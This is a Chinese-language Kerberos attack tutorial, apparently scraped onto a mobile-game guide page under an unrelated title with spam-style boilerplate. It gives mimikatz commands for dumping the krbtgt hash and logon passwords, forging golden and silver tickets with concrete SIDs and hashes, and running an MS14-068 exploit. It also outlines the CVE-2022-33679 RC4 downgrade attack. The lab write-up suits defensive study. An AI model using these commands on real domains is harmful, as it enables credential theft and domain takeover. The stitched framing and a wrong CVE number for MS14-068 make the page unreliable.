首页 >> 手游攻略

star-477

大家好,今天小编来为大家解答star-477这个问题,域0day-(CVE-2022-33679)容易利用吗很多人还不知道,现在让我们一起来看看吧!

前言

最近twitter上关于CVE应该CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。

kerberos认证原理

先了解几个概念

认证服务(Authenticationserver):简称AS,认证客户端身份提供认证服务。

域控服务器(DomainControl):即DC。

服务票据(ServerTicket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。

票据授予服务(TicketGrantingserver):简称TGS,颁发服务票据(serverticket)。

活动目录(ActiveDirectory):简称AD,包含了域中所有的对象(用户,计算机,组等)

KDC密钥颁发中心(KDC):域控担任

特权属性证书(PrivilegeAttributeCertificate):简称PAC,所包含的是各种授权信息,例如用户所属的用户组,用户所具有的权限等。

下图为Kerberos的认证过程:

image-20221209141408456

一个完整的认证流程基本上分为8个步骤

1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求

2.AS对客户端用户身份认证后给客户端返回票据授予票据

3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST)

4.TGS给客户端分发ST

5.客户端使用ST请求服务器A

6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限

7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A

8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。

黄金票据

原理:

Kerberos黄金票据是有效的TGTKerberos票据,是由域Kerberos帐户加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT

image-20221209163535159

实验

这里是靶场环境

环境:192.168.10.10域控DC域:Starseaseclab.com操作系统:win-server2012R2

域内主机:192.168.10.14操作系统:win7

使用条件

?域管SID?域名?域控KRBTGT账号的HASHntlm(hash)

whoami/all

image-20221209151041923

lsadump::dcsync/domain:starseaseclab.com/user:krbtgt

image-20221209154241481

sid:S-1-5-21-1719736279-3906200060-616816393

htlm(hash):5e31f755b33b621bede0946b044908e4

domian:starseaseclab.com

域内主机win-7

image-20221209155354113

privilege::debugnnkerberos::purge//清空票据防止缓存影响nnKerberos::golden/user:administrator/domain:starseaseclab.com/sid:S-1-5-21-1719736279-3906200060-616816393/krbtgt:5e31f755b33b621bede0946b044908e4/ptt//伪造金票注入内存

image-20221209155550755

白银票据

原理

黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST

image-20221209163414271

whoami/all

image-20221209173913523

sid:S-1-5-21-1719736279-3906200060-616816393

sekurlsa::logonpasswords

image-20221209174621489

伪造票据

Kerberos::golden/domain:starseaseclab.com/sid:S-1-5-21-1719736279-3906200060-616816393/target:win-dc.starseaseclab.com/service:cifs/rc4:161cff084477fe596a5db81874498a24/user:user1/ptt//伪造银票注入内存

image-20221209175427057

利用MS14-068(CVE-2016-6324)

域内用户提升至域控

条件:

?域内用户名以及hash?sid值?域名?域控ip

ms-14-068.exe-u域用户@域名-p域用户密码-s域用户sid-d域控ipnkerberos::ptc"票据"//将票据注入内存黄金票据和白银票据的区别

访问权限不同:nnGoldenTicket:伪造TGT,可以获取任何Kerberos服务权限nSilverTicket:伪造TGS,只能访问指定的服务nn加密方式不同:nnGoldenTicket由Kerberos的Hash加密nSilverTicket由服务账号(通常为计算机账户)Hash加密nn认证流程不同:nGoldenTicket的利用过程需要访问域控,nSilverTicket不需要CVE-2022-33679

攻击的过程分为下面几个步骤

1.攻击者发送一个没有预授权的AS-REQ请求RC4-MD4密钥加密。如果用户不需要预授权,KDC将发回一个AS-REP,其中包含使用RC4-MD4加密的会话密钥等。2.根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充ASN1编码数据,以便将密钥对齐到合适的位置。3.根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。4.使用密钥流加密PA-ENC-TIMESTAMP预认证缓冲区,如果仅使用KerberosTime,则大小将恰好为0x15字节,即带有初始填充的0x2D。5.在新的AS-REQ中发送加密的时间戳以验证密钥流是否正确。

如果将客户端和KDC降级为使用RC4-MD4,攻击者可以让KDC使用RC4-MD4会话密钥作为初始TGT,它只有40位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的TGS请求。

攻击图解

在请求TGT的第一阶段爆破第一个字节的图解

image-20221214104553601

获取最后一个字节的过程图解

image-20221214122942619

CVE提交者的POC显示已删除,github上披露的EXP已经没了。

image-20221214160214143

项目下载地址:

https://github.com/GhostPack/Rubeus

需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1

image-20221214161041126

该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。

image-20221214161639111

总结

资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要Kerberos预身份验证”用户帐户控制标志,并配置了RC4密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出)

参考链接

来自0patchbyACROSSecurity的利用视频

https://www.youtube.com/watch?v=0elVZuNIMnc

https://www.silverfort.com/blog/technical-analysis-of-cve-2022-33679-and-cve-2022-33647-kerberos-vulnerabilities/

好了,本文到此结束,如果可以帮助到大家,还望关注本站哦!



本文由欣欣吧手游攻略栏目发布,感谢您对欣欣吧的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“star-477

标签:
star 467
« 上一篇 2023-10-17